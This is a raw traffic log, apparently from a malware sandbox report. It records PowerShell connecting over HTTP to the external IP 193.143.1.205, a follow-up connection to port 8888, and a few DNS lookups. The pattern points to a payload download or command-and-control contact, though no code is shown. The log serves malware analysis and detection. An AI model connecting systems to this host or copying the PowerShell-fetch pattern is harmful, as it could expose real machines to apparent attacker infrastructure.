Jan 11, 2025 02:17:17.675896883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675909042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675919056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675929070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675951004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676028967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676053047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676064968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676127911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676160097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676172018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676182032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676193953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676206112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676218987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676219940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676219940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676270962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676397085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676608086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676624060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676635027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676642895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676649094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676661015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676672935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676685095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676697016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676707983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676719904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676723957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676723957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676723957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676732063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676742077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676745892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676759958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676769972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676770926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676788092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676800013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676809072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676815987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676822901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676837921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676852942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676862001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.676863909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.676949024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.677304983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.677316904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.677352905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.678085089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.702662945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702673912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702692986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702702045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702713966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702754021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.702754021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.702789068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.702898979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702908039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702933073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702976942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.702985048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.702996016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.703006983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.703018904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.703054905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.703054905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.706655025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.706695080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.706712961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.706723928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.706801891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.706813097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.706861973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.706861973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.706902981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.706990957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.707035065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.731277943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.736310959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736375093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736385107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736450911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.736489058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736499071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736509085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736552000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.736591101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.736707926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736720085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736778021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.736794949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736807108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736818075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736833096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.736852884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.736891031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.737034082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.737045050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.737164021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.742722034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.765974045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766005993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766024113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766035080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766135931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766146898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766204119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766215086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766263962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766264915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766264915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766264915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766329050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766343117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766355038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766367912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766428947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766428947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766575098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766586065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766597033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766606092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766624928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766637087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766647100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766658068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766669035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766669035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766669989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766684055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766696930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766710997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766721010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766721010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766750097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766762018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.766918898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766968012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.766985893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767031908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767105103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767117023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767127991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767138958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767152071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767162085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767206907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767206907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767206907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767333984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767345905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767358065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767369986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767381907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767394066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767566919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767566919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767566919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767596960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767608881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767625093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767653942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767653942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767659903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767673969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767684937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767697096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767754078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767754078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767936945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767947912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767959118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767970085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767981052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.767998934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767998934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.767998934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768028975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768039942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768212080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768224955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768235922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768246889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768264055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768275023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768285990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768296957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768327951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768342018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768352032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768362999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768373966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768384933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768397093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768403053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768409967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768416882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.768465042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769001961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769012928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769021988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769032955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769047022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769057989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769069910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769081116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769093990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769103050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769114971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769120932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769206047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769206047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769206047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769206047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769206047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769547939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769561052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769571066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769581079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769593954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769603968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769614935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769624949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.769700050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769700050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769700050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.769700050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.781867027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.787317991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.794925928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.794936895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.794949055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795017004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.795047045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795059919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795146942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795161963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795212030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.795212030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.795273066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795283079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795296907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795308113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795336962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.795336962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.795404911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795447111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795459032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795468092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.795509100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.795509100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.810384989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.815740108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.828561068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828582048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828593969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828659058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828663111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.828663111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.828705072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828717947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828730106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828896046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828910112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828929901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828942060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.828955889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.829081059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.829092979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.829104900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.829114914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.829114914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.829114914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.829114914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.829114914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.829751968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858288050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858350992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858361006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858406067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858444929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858457088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858525038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858549118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858591080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858601093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858612061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858618975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858669043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858669043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858669043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858844995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858855963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858866930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858875990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858887911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858899117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.858951092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858951092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.858951092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.859091043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.859101057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.859302998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:18.048496008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:18.414973974 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:18.419776917 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:18.419888020 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:18.420047998 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:18.424814939 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:19.221301079 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:19.275543928 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:19.658955097 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:17:26.455100060 CET	65085	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:17:26.455100060 CET	192.168.2.8	1.1.1.1	0xa68d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:17:26.462280035 CET	1.1.1.1	192.168.2.8	0xa68d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:17:27.307673931 CET	1.1.1.1	192.168.2.8	0xb04f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:17:27.307673931 CET	1.1.1.1	192.168.2.8	0xb04f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	8040	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
